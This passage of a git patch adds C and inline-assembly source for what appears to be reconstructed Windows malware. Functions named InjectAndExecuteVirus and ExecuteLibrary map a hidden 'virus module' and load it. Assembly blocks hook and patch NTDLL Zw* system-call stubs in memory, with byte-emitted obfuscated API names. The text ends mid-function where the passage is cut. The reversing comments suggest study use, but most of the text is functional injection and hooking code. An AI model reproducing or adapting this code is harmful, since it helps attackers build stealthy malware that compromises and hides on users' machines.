From b29e9aa65bf03ab6918b46a433c208cb877a7636 Mon Sep 17 00:00:00 2001 From: Michael Torres Date: Sun, 16 Feb 2014 00:13:34 +0000 Subject: [PATCH] Added some comments, further disassembled some loops --- AssemblyBlock0.c | 72 +++++++ AssemblyBlock0.h | 25 +++ AssemblyBlock1.c | 114 ++++++++++ AssemblyBlock1.h | 51 +++++ AssemblyBlock2.c | 497 +++++++++++++++++++++++++++++++++++++++++++ AssemblyBlock2.h | 69 ++++++ CodeBlock.c | 280 ++++++++++++++++++++++++ CodeBlock.h | 36 ++++ Encoding.c | 79 +++++++ Encoding.h | 30 +++ EncodingAlgorithms.c | 71 +++++++ EncodingAlgorithms.h | 30 +++ EncodingUtils.c | 52 +++++ EncodingUtils.h | 29 +++ Main.c | 75 +++++++ MemorySections.c | 224 +++++++++++++++++++ MemorySections.h | 41 ++++ OS.c | 40 ++++ OS.h | 26 +++ STUBHandler.c | 142 +++++++++++++ STUBHandler.h | 32 +++ Utils.c | 83 ++++++++ Utils.h | 30 +++ data.c | 197 +++++++++++++++++ data.h | 60 ++++++ define.h | 117 ++++++++++ 26 files changed, 2502 insertions(+) create mode 100644 AssemblyBlock0.c create mode 100644 AssemblyBlock0.h create mode 100644 AssemblyBlock1.c create mode 100644 AssemblyBlock1.h create mode 100644 AssemblyBlock2.c create mode 100644 AssemblyBlock2.h create mode 100644 CodeBlock.c create mode 100644 CodeBlock.h create mode 100644 Encoding.c create mode 100644 Encoding.h create mode 100644 EncodingAlgorithms.c create mode 100644 EncodingAlgorithms.h create mode 100644 EncodingUtils.c create mode 100644 EncodingUtils.h create mode 100644 Main.c create mode 100644 MemorySections.c create mode 100644 MemorySections.h create mode 100644 OS.c create mode 100644 OS.h create mode 100644 STUBHandler.c create mode 100644 STUBHandler.h create mode 100644 Utils.c create mode 100644 Utils.h create mode 100644 data.c create mode 100644 data.h create mode 100644 define.h diff --git a/AssemblyBlock0.c b/AssemblyBlock0.c new file mode 100644 index 0000000..e0f80c9 --- /dev/null +++ b/AssemblyBlock0.c @@ -0,0 +1,72 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "AssemblyBlock0.h" + +/************************************************************************* +** ASSEMBLY BLOCK 0. ** +*************************************************************************/ + +void __declspec(naked) __ASM_BLOCK0_0(void) +{ + __asm + { + cmp edx, [eax] + dec ecx + stosd + + mov dl, 0 + jmp short __ASM_REF_0 + + mov dl, 1 + jmp short __ASM_REF_0 + + mov dl, 2 + jmp short __ASM_REF_0 + + mov dl, 3 + jmp short __ASM_REF_0 + + mov dl, 4 + jmp short __ASM_REF_0 + + mov dl, 5 + jmp short $+2 + + __ASM_REF_0: + push edx + call __ASM_BLOCK0_2 + } +} + +void __declspec(naked) __ASM_BLOCK0_1(void) +{ + __asm + { + xchg ebx, [ebx+0] + add [eax], dl + } +} + +void __declspec(naked) __ASM_BLOCK0_2(void) +{ + __asm + { + pop edx + jmp dword ptr [edx] + } +} \ No newline at end of file diff --git a/AssemblyBlock0.h b/AssemblyBlock0.h new file mode 100644 index 0000000..769e893 --- /dev/null +++ b/AssemblyBlock0.h @@ -0,0 +1,25 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#ifndef __ASSEMBLY_BLOCK0_H__ +#define __ASSEMBLY_BLOCK0_H__ + +void __ASM_BLOCK0_0(void); +void __ASM_BLOCK0_1(void); +void __ASM_BLOCK0_2(void); + +#endif \ No newline at end of file diff --git a/AssemblyBlock1.c b/AssemblyBlock1.c new file mode 100644 index 0000000..5d1e1ce --- /dev/null +++ b/AssemblyBlock1.c @@ -0,0 +1,114 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "AssemblyBlock1.h" + +/************************************************************************* +** ASSEMBLY BLOCK 1. ** +*************************************************************************/ + +void __declspec(naked) __ASM_BLOCK1_0(void) +{ + __asm + { + call __ASM_BLOCK1_1 + ASM_ZwMapViewOfSection // "ZwMapViewOfSection", 0x00 + } +} + +void __declspec(naked) __ASM_BLOCK1_1(void) +{ + __asm + { + pop edx // [edx] = "ZwMapViewOfSection", 0x00 + push ecx + add ecx, 4 + call __ASM_REF_7 + pop ecx + call __ASM_BLOCK1_2 + ASM_ZwCreateSection + } +} + +void __declspec(naked) __ASM_BLOCK1_2(void) +{ + __asm + { + pop edx + push ecx + add ecx, 8 + call __ASM_REF_7 + pop ecx + call __ASM_BLOCK1_3 + ASM_ZwOpenFile + } +} + +void __declspec(naked) __ASM_BLOCK1_3(void) +{ + __asm + { + pop edx + push ecx + add ecx, 8 + call __ASM_REF_7 + pop ecx + call __ASM_BLOCK1_4 + ASM_ZwClose + } +} + +void __declspec(naked) __ASM_BLOCK1_4(void) +{ + __asm + { + pop edx + push ecx + add ecx, 10h + call __ASM_REF_7 + pop ecx + call __ASM_BLOCK1_5 + ASM_ZwQueryAttributesFile + } +} + +void __declspec(naked) __ASM_BLOCK1_5(void) +{ + __asm + { + pop edx + push ecx + add ecx, 14h + call __ASM_REF_7 + pop ecx + call __ASM_BLOCK1_6 + ASM_ZwQuerySection + } +} + +void __declspec(naked) __ASM_BLOCK1_6(void) +{ + __asm + { + pop edx + push ecx + add ecx, 18h + call __ASM_REF_7 + pop ecx + retn + } +} \ No newline at end of file diff --git a/AssemblyBlock1.h b/AssemblyBlock1.h new file mode 100644 index 0000000..b69663f --- /dev/null +++ b/AssemblyBlock1.h @@ -0,0 +1,51 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#ifndef __ASSEMBLY_BLOCK1_H__ +#define __ASSEMBLY_BLOCK1_H__ + +#include "AssemblyBlock2.h" + +#define ASM_EMIT __asm _emit + +#define ASM_ZwMapViewOfSection \ + ASM_EMIT 'Z' ASM_EMIT 'w' ASM_EMIT 'M' ASM_EMIT 'a' ASM_EMIT 'p' ASM_EMIT 'V' ASM_EMIT 'i' ASM_EMIT 'e' ASM_EMIT 'w' ASM_EMIT 'O' ASM_EMIT 'f' ASM_EMIT 'S' ASM_EMIT 'e' ASM_EMIT 'c' ASM_EMIT 't' ASM_EMIT 'i' ASM_EMIT 'o' ASM_EMIT 'n' ASM_EMIT '\0' + +#define ASM_ZwCreateSection \ + ASM_EMIT 'Z' ASM_EMIT 'w' ASM_EMIT 'C' ASM_EMIT 'r' ASM_EMIT 'e' ASM_EMIT 'a' ASM_EMIT 't' ASM_EMIT 'e' ASM_EMIT 'S' ASM_EMIT 'e' ASM_EMIT 'c' ASM_EMIT 't' ASM_EMIT 'i' ASM_EMIT 'o' ASM_EMIT 'n' ASM_EMIT '\0' + +#define ASM_ZwOpenFile \ + ASM_EMIT 'Z' ASM_EMIT 'w' ASM_EMIT 'O' ASM_EMIT 'p' ASM_EMIT 'e' ASM_EMIT 'n' ASM_EMIT 'F' ASM_EMIT 'i' ASM_EMIT 'l' ASM_EMIT 'e' ASM_EMIT '\0' + +#define ASM_ZwClose \ + ASM_EMIT 'Z' ASM_EMIT 'w' ASM_EMIT 'C' ASM_EMIT 'l' ASM_EMIT 'o' ASM_EMIT 's' ASM_EMIT 'e' ASM_EMIT '\0' + +#define ASM_ZwQueryAttributesFile \ + ASM_EMIT 'Z' ASM_EMIT 'w' ASM_EMIT 'Q' ASM_EMIT 'u' ASM_EMIT 'e' ASM_EMIT 'r' ASM_EMIT 'y' ASM_EMIT 'A' ASM_EMIT 't' ASM_EMIT 't' ASM_EMIT 'r' ASM_EMIT 'i' ASM_EMIT 'b' ASM_EMIT 'u' ASM_EMIT 't' ASM_EMIT 'e' ASM_EMIT 's' ASM_EMIT 'F' ASM_EMIT 'i' ASM_EMIT 'l' ASM_EMIT 'e' ASM_EMIT '\0' + +#define ASM_ZwQuerySection \ + ASM_EMIT 'Z' ASM_EMIT 'w' ASM_EMIT 'Q' ASM_EMIT 'u' ASM_EMIT 'e' ASM_EMIT 'r' ASM_EMIT 'y' ASM_EMIT 'S' ASM_EMIT 'e' ASM_EMIT 'c' ASM_EMIT 't' ASM_EMIT 'i' ASM_EMIT 'o' ASM_EMIT 'n' ASM_EMIT '\0' + +void __ASM_BLOCK1_0(void); +void __ASM_BLOCK1_1(void); +void __ASM_BLOCK1_2(void); +void __ASM_BLOCK1_3(void); +void __ASM_BLOCK1_4(void); +void __ASM_BLOCK1_5(void); +void __ASM_BLOCK1_6(void); + +#endif \ No newline at end of file diff --git a/AssemblyBlock2.c b/AssemblyBlock2.c new file mode 100644 index 0000000..25edec5 --- /dev/null +++ b/AssemblyBlock2.c @@ -0,0 +1,497 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ +// MODIFIED BY mic.ric.tor + +#include "AssemblyBlock2.h" + +/************************************************************************* +** ASSEMBLY BLOCK 2. ** +*************************************************************************/ + +__declspec(naked) void __ASM_REF_3(void) +{ + __asm + { + pop edx + test dl, dl + jz short __REF_0 + dec dl + jz __REF_7 + dec dl + jz __REF_11 + dec dl + jz __REF_15 + dec dl + jz __REF_21 + jmp __REF_27 + + __REF_0: + call __ASM_REF_4 + test edx, edx + jz short __REF_2 + push edx + mov edx, [edx+8] + cmp edx, [esp+8] + jnz short __REF_1 + mov dword ptr [esp+30h], 40h + + __REF_1: + pop edx + + __REF_2: + push edx + call __ASM_REF_5 + cmp dword ptr [edx+4], 0 + jnz short __REF_3 + pop edx + lea edx, [esp+8] + int 2Eh ; DOS 2+ internal - EXECUTE COMMAND + ; DS:SI -> counted CR-terminated command string + jmp short __REF_4 + + __REF_3: + pop edx + lea edx, [esp+8] + call dword ptr fs:0C0h ; call large dword ptr fs:0C0h + + __REF_4: + test eax, eax + jnz short __REF_6 + call __ASM_REF_4 + test edx, edx + jz short __REF_5 + mov edx, [edx+8] + cmp edx, [esp+8] + jnz short __REF_5 + mov edx, [esp+16] + push edx + call __ASM_REF_4 + mov edx, [edx+0Ch] + call edx + + __REF_5: + xor eax, eax + + __REF_6: + retn + + __REF_7: + cmp dword ptr [esp+20h], 0AE1982AEh + jnz short __REF_8 + call __ASM_REF_4 + test edx, edx + jz short __REF_8 + mov edx, [edx+8] + mov eax, [esp+8] + mov [eax], edx + xor eax, eax + retn + + __REF_8: + push edx + call __ASM_REF_5 + cmp dword ptr [edx+4], 0 + jnz short __REF_9 + pop edx + lea edx, [esp+8] + int 2Eh ; DOS 2+ internal - EXECUTE COMMAND + ; DS:SI -> counted CR-terminated command string + + jmp short __REF_10 + + __REF_9: + pop edx + lea edx, [esp+8] + call dword ptr fs:0C0h ; call large dword ptr fs:0C0h + + __REF_10: + retn + + __REF_11: + call __ASM_REF_4 + test edx, edx + jz short __REF_12 + push eax + push edi + mov edi, [esp+18h] + call __ASM_REF_6 + mov edx, eax + pop edi + pop eax + test edx, edx + jz short __REF_12 + mov eax, [esp+8] + mov dword ptr [eax], 0AE1982AEh + xor eax, eax + retn + + __REF_12: + push edx + call __ASM_REF_5 + cmp dword ptr [edx+4], 0 + jnz short __REF_13 + pop edx + lea edx, [esp+8] + int 2Eh ; DOS 2+ internal - EXECUTE COMMAND + ; DS:SI -> counted CR-terminated command string + jmp short __REF_14 + + __REF_13: + pop edx + lea edx, [esp+8] + call dword ptr fs:0C0h ; call large dword ptr fs:0C0h + + __REF_14: + retn + + __REF_15: + cmp [esp+8], 0AE1982AEh + jnz short __REF_16 + xor eax, eax + retn + + __REF_16: + call __ASM_REF_4 + test edx, edx + jz short __REF_18 + push eax + mov eax, [esp+8] + cmp [edx+8], eax + jnz short __REF_17 + mov dword ptr [edx+8], 0 + + __REF_17: + pop eax + + __REF_18: + push edx + call __ASM_REF_5 + cmp dword ptr [edx+4], 0 + jnz short __REF_19 + pop edx + lea edx, [esp+8] + int 2Eh ; DOS 2+ internal - EXECUTE COMMAND + ; DS:SI -> counted CR-terminated command string + jmp short __REF_20 + + __REF_19: + pop edx + lea edx, [esp+8] + call dword ptr fs:0C0h ; call large dword ptr fs:0C0h + + __REF_20: + retn + + __REF_21: + call __ASM_REF_4 + test edx, edx + jz short __REF_24 + push eax + push edx + push edi + mov edi, [esp+14h] + call __ASM_REF_6 + pop edi + pop edx + test eax, eax + jz short __REF_23 + pop eax + test edx, edx + jz short __REF_22 + mov edx, [esp+0Ch] + mov dword ptr [edx+20h], 80h + + __REF_22: + xor eax, eax + retn + + __REF_23: + pop eax + + __REF_24: + push edx + call __ASM_REF_5 + cmp dword ptr [edx+4], 0 + jnz short __REF_25 + pop edx + lea edx, [esp+8] + int 2Eh ; DOS 2+ internal - EXECUTE COMMAND + ; DS:SI -> counted CR-terminated command string + jmp short __REF_26 + + __REF_25: + pop edx + lea edx, [esp+8] + call dword ptr fs:0C0h ; call large dword ptr fs:0C0h + + __REF_26: + retn + + __REF_27: + call __ASM_REF_4 + test edx, edx + push edx + jz short __REF_30 + mov edx, [edx+8] + cmp edx, [esp+8] + jnz short __REF_30 + cmp dword ptr [esp+10h], 1 + jnz short __REF_30 + cmp dword ptr [esp+18h], 30h + jl short __REF_29 + pop edx + push ecx + push esi + push edi + lea esi, [edx+50h] + mov edi, [esp+1Ch] + mov ecx, 30h + rep movsb + pop edi + pop esi + pop ecx + mov eax, [esp+18h] + cmp eax, 0 + jz short __REF_28 + mov dword ptr [eax], 30h + + __REF_28: + xor eax, eax + retn + + __REF_29: + pop edx + mov eax, 0C000000Dh + retn + + __REF_30: + pop edx + push edx + call __ASM_REF_5 + cmp dword ptr [edx+4], 0 + jnz short __REF_31 + pop edx + lea edx, [esp+8] + int 2Eh ; DOS 2+ internal - EXECUTE COMMAND + ; DS:SI -> counted CR-terminated command string + jmp short __REF_32 + + __REF_31: + pop edx + lea edx, [esp+8] + call dword ptr fs:0C0h ; call large dword ptr fs:0C0h + + __REF_32: + retn + } +} + +__declspec(naked) void __ASM_REF_4(void) +{ + __asm + { + push eax + push esi + push edi + push ecx + push edx + sub esp, 1Ch + mov eax, esp + push 1Ch + push eax + push esp + call __ASM_REF_5 + call dword ptr [edx+0Ch] + mov edi, [esp] + add edi, [esp+0Ch] + add esp, 1Ch + pop edx + pop ecx + mov esi, esp + + __REF_0: + cmp esi, edi + jnb short __REF_1 + lodsd + xor eax, 0AE1979DDh + lea eax, [eax+4] + cmp eax, esi + jnz short __REF_0 + lea eax, [esi-4] + jmp short __REF_2 + + __REF_1: + xor eax, eax + + __REF_2: + mov edx, eax + pop edi + pop esi + pop eax + retn + } +} + +__declspec(naked) void __ASM_REF_5(void) +{ + __asm + { + call $+5 // disasm block + pop edx + add edx, 124h + retn + } +} + +__declspec(naked) void __ASM_REF_6(void) +{ + __asm + { + push ebx + push ecx + push edx + push edi + cmp edi, 0 + jz short __REF_1 + mov edi, [edi+8] + cmp edi, 0 + jz short __REF_1 + movzx ebx, word ptr [edi] + mov edi, [edi+4] + lea ebx, [edi+ebx+2] + + __REF_0: + lea ebx, [ebx-2] + cmp ebx, edi + jle short __REF_1 + cmp word ptr [ebx-2], 5Ch + jnz short __REF_0 + push edx + push ebx + lea ebx, [edx+10h] + push ebx + call __ASM_REF_5 + call dword ptr [edx+8] + pop edx + test eax, eax + jnz short __REF_1 + inc eax + jmp short __REF_2 + + __REF_1: + xor eax, eax + + __REF_2: + pop edi + pop edx + pop ecx + pop ebx + retn + } +} + +__declspec(naked) void __ASM_REF_7(void) +{ + __asm + { + push eax + push ecx + push edx + call __ASM_REF_5 + mov dword ptr [edx+4], 0 + push dword ptr [edx] + call dword ptr [edx+14h] + pop ecx + test eax, eax + jz __REF_3 + push eax + push ecx + push eax + push esp + push 80h + push 18h + push eax + call __ASM_REF_5 + call dword ptr [edx+10h] + pop edx + mov edx, eax + pop ecx + pop eax + test edx, edx + jz __REF_3 + cmp byte ptr [eax], 0B8h + jnz __REF_3 + cmp byte ptr [eax+5], 0BAh + jz short __REF_1 + cmp dword ptr [eax+5], 424548Dh + jnz short __REF_0 + cmp dword ptr [eax+8], 0C22ECD04h + jnz short __REF_3 + sub ecx, eax + sub ecx, 0Ah + mov [eax+6], ecx + mov byte ptr [eax+5], 0E8h + mov byte ptr [eax+0Ah], 90h + jmp short __REF_3 + + __REF_0: + cmp dword ptr [eax+7], 424548Dh + jnz short __REF_3 + cmp dword ptr [eax+0Bh], 0C015FF64h + jnz short __REF_3 + cmp dword ptr [eax+0Fh], 0C2000000h + jnz short __REF_3 + push edx + call __ASM_REF_5 + mov dword ptr [edx+4], 1 + pop edx + push esi + push eax + push ebx + push ecx + push edx + mov esi, eax + mov eax, [esi+0Ah] + mov edx, [esi+0Eh] + sub ecx, esi + sub ecx, 12h + mov ebx, 0E8909004h + lock cmpxchg8b qword ptr [esi+0Ah] + pop edx + pop ecx + pop ebx + pop eax + pop esi + jmp short __REF_3 + + __REF_1: + cmp word ptr [eax+0Ah], 0D2FFh + jz short __REF_2 + cmp word ptr [eax+0Ah], 12FFh + jnz short __REF_3 + mov byte ptr [eax+0Bh], 0D2h + + __REF_2: + mov [eax+6], ecx + + __REF_3: + pop eax + retn + } +} + +#pragma code_seg(".text") +__declspec(allocate(".text")) HARDCODED_ADDRESSES g_hardAddrs = {0}; diff --git a/AssemblyBlock2.h b/AssemblyBlock2.h new file mode 100644 index 0000000..ae5d5a2 --- /dev/null +++ b/AssemblyBlock2.h @@ -0,0 +1,69 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +// MODIFIED BY mic.ric.tor + +#ifndef __ASSEMBLY_BLOCK2_H__ +#define __ASSEMBLY_BLOCK2_H__ + +#include "define.h" + +typedef int (WINAPI *_tlstrcmpiW)(LPCWSTR, LPCWSTR); +typedef SIZE_T (WINAPI *_tVirtualQuery)(LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T); +typedef BOOL (WINAPI *_tVirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); +typedef FARPROC (WINAPI *_tGetProcAddress)(HMODULE, LPCSTR); +typedef LPVOID (WINAPI *_tMapViewOfFile)(HANDLE, DWORD, DWORD, DWORD, SIZE_T); +typedef BOOL (WINAPI *_tUnmapViewOfFile)(LPCVOID); +typedef BOOL (WINAPI *_tFlushInstructionCache)(HANDLE, LPCVOID, SIZE_T); +typedef HMODULE (WINAPI *_tLoadLibraryW)(LPCWSTR); +typedef BOOL (WINAPI *_tFreeLibrary)(HMODULE); +typedef NTSTATUS (WINAPI *_tZwCreateSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE); +typedef NTSTATUS (WINAPI *_tZwMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, SECTION_INHERIT, ULONG, ULONG); +typedef HANDLE (WINAPI *_tCreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD); +typedef DWORD (WINAPI *_tWaitForSingleObject)(HANDLE, DWORD); +typedef BOOL (WINAPI *_tGetExitCodeThread)(HANDLE, LPDWORD); +typedef NTSTATUS (WINAPI *_tZwClose)(HANDLE); + +typedef struct _HARDCODED_ADDRESSES { + const HMODULE NTDLL_DLL; + const HMODULE EMPTY_PTR; + + const _tlstrcmpiW lstrcmpiW; + const _tVirtualQuery VirtualQuery; + const _tVirtualProtect VirtualProtect; + const _tGetProcAddress GetProcAddress; + const _tMapViewOfFile MapViewOfFile; + const _tUnmapViewOfFile UnmapViewOfFile; + const _tFlushInstructionCache FlushInstructionCache; + const _tLoadLibraryW LoadLibraryW; + const _tFreeLibrary FreeLibrary; + const _tZwCreateSection ZwCreateSection; + const _tZwMapViewOfSection ZwMapViewOfSection; + const _tCreateThread CreateThread; + const _tWaitForSingleObject WaitForSingleObject; + const _tGetExitCodeThread GetExitCodeThread; + const _tZwClose ZwClose; +} HARDCODED_ADDRESSES, *PHARDCODED_ADDRESSES; + +HARDCODED_ADDRESSES g_hardAddrs; + +void __ASM_REF_3(void); +void __ASM_REF_4(void); +void __ASM_REF_5(void); +void __ASM_REF_6(void); +void __ASM_REF_7(void); + +#endif \ No newline at end of file diff --git a/CodeBlock.c b/CodeBlock.c new file mode 100644 index 0000000..be8e7de --- /dev/null +++ b/CodeBlock.c @@ -0,0 +1,280 @@ +/****************************************************************************************** + Copyright 2012-2013 Christian Roggia + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. +******************************************************************************************/ + +// MODIFIED BY mic.ric.tor + +#include "CodeBlock.h" + +// 98% (C) CODE MATCH +INT32 BLOCK4_InjectAndExecuteVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader) +{ + HANDLE hThread; // [sp+0h] [bp-98h]@8 + HMODULE pVirusModule; // [sp+4h] [bp-94h]@5 + HANDLE hMappedAddress; // [sp+8h] [bp-90h]@11 + INT32 iResult; // [sp+Ch] [bp-8Ch]@1 + PVIRUS_MODULE_BLOCKS_HEADER pVirusModuleSection; // [sp+10h] [bp-88h]@1 + PHARDCODED_ADDRESSES pHardAddrs; // [sp+14h] [bp-84h]@1 + GENERAL_INFO_BLOCK sInfoBlockCopy; // [sp+18h] [bp-80h]@1 + + pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection; + pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0)); + + BLOCK4_memcpy(&sInfoBlockCopy, pVirusModuleSection, sizeof(GENERAL_INFO_BLOCK)); + + sInfoBlockCopy.OriginalAddress = ((UINT32)&sInfoBlockCopy ^ XADDR_KEY); + sInfoBlockCopy.UnknownZero0 = 0; + sInfoBlockCopy.AlignAddressesFunction = sASMCodeBlocksHeader->AlignAddresses; + + iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)pVirusModuleSection->VirusModuleSegment.SegmentAddress, pVirusModuleSection->VirusModuleSegment.SegmentSize); + if(iResult) return iResult; + + iResult = BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs); + if(iResult) return -4; + + pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName); + if(!pVirusModule) return -9; + + pVirusModuleSection->VirusModulePointer = pVirusModule; + if(pVirusModuleSection->LibraryExecuteEntryNumber != -1) + { + hThread = pHardAddrs->CreateThread(NULL, 0x00080000, (LPTHREAD_START_ROUTINE)sASMCodeBlocksHeader->ExecuteLibrary, sASMCodeBlocksHeader, 0, NULL); + + if(!hThread) return -13; + + pHardAddrs->WaitForSingleObject(hThread, -1); + pHardAddrs->GetExitCodeThread(hThread, (LPDWORD)&iResult); + } + + hMappedAddress = sInfoBlockCopy.MappedAddress; + if(sInfoBlockCopy.MappedAddress) + { + sInfoBlockCopy.MappedAddress = 0; + pHardAddrs->ZwClose(hMappedAddress); + } + + pHardAddrs->UnmapViewOfFile(pVirusModuleSection); + return iResult; +} + +// 99% (C) CODE MATCH +INT32 BLOCK4_ExecuteLibrary(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader) +{ + FARPROC pLibraryExecEntry; // [sp+0h] [bp-Ch]@1 + PVIRUS_MODULE_BLOCKS_HEADER pVirusModuleSection; // [sp+4h] [bp-8h]@1 + PHARDCODED_ADDRESSES pHardAddrs; // [sp+8h] [bp-4h]@1 + + pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection; + pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0)); + + pLibraryExecEntry = pHardAddrs->GetProcAddress(pVirusModuleSection->VirusModulePointer, (LPCSTR)pVirusModuleSection->LibraryExecuteEntryNumber); + + if(pLibraryExecEntry) + { + // Note: Same arguments passed to the 15th function of the internal library, maybe it was another module loaded in the past? + ((__tLibraryExecEntry)pLibraryExecEntry)(pVirusModuleSection->UnknownSegment.SegmentAddress, pVirusModuleSection->UnknownSegment.SegmentSize); + return 0; + } + + pHardAddrs->FreeLibrary(pVirusModuleSection->VirusModulePointer); + return 0; +} + +// 99% (C) CODE MATCH +void BLOCK4_CopyPEHeaderInfo(PGENERAL_INFO_BLOCK sInfoBlock, PIMAGE_NT_HEADERS pImageNT, INT32 iVirusModuleSize) +{ + sInfoBlock->AbsoluteEntryPoint = pImageNT->OptionalHeader.ImageBase + pImageNT->OptionalHeader.AddressOfEntryPoint; + sInfoBlock->UnknownZero1 = 0; + sInfoBlock->SizeOfStackReserve = pImageNT->OptionalHeader.SizeOfStackReserve; + sInfoBlock->SizeOfStackCommit = pImageNT->OptionalHeader.SizeOfStackCommit; + sInfoBlock->Subsystem = pImageNT->OptionalHeader.Subsystem; + sInfoBlock->MinorSubsystemVersion = pImageNT->OptionalHeader.MinorSubsystemVersion; + sInfoBlock->MajorSubsystemVersion = pImageNT->OptionalHeader.MajorSubsystemVersion; + sInfoBlock->UnknownZero2 = 0; + sInfoBlock->Charactersitics = pImageNT->FileHeader.Characteristics; + sInfoBlock->DllCharacteristics = pImageNT->OptionalHeader.DllCharacteristics; + sInfoBlock->Machine = pImageNT->FileHeader.Machine; + sInfoBlock->UnknownOne = 1; + sInfoBlock->UnknownFour = 4; + sInfoBlock->LoaderFlags = pImageNT->OptionalHeader.LoaderFlags; + sInfoBlock->VirusModuleSize = iVirusModuleSize; + sInfoBlock->UnknownZero3 = 0; +} + +// 94% (C) CODE MATCH +NTSTATUS BLOCK4_AlignAddresses(PIMAGE_DOS_HEADER *pImageDOS) +{ + DWORD *dwItemAddress; // ST08_4@20 + WORD *wTypeOffset; // [sp+8h] [bp-24h]@12 + UINT32 iDeltaSizeOfBlock; // [sp+Ch] [bp-20h]@12 + UINT32 j; // [sp+10h] [bp-1Ch]@14 + PIMAGE_NT_HEADERS pImageNT; // [sp+18h] [bp-14h]@6 + DWORD pImageBaseDelta; // [sp+1Ch] [bp-10h]@6 + DWORD pImageBase; // [sp+24h] [bp-8h]@4 + PIMAGE_BASE_RELOCATION i; // [sp+28h] [bp-4h]@10 + + if(!pImageDOS || !*pImageDOS) + return STATUS_ACCESS_VIOLATION; + + pImageBase = (DWORD)pImageDOS; + if((*pImageDOS)->e_magic != MZ_HEADER) + return STATUS_ACCESS_VIOLATION; + + pImageNT = (PIMAGE_NT_HEADERS)(pImageBase + (*pImageDOS)->e_lfanew); + pImageBaseDelta = (DWORD)(pImageBase - pImageNT->OptionalHeader.ImageBase); + + if(pImageBase == pImageNT->OptionalHeader.ImageBase) + return STATUS_SUCCESS; + + pImageNT->OptionalHeader.ImageBase = pImageBase; + if(!pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) + return STATUS_CONFLICTING_ADDRESSES; + + for(i = (PIMAGE_BASE_RELOCATION)(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pImageBase); 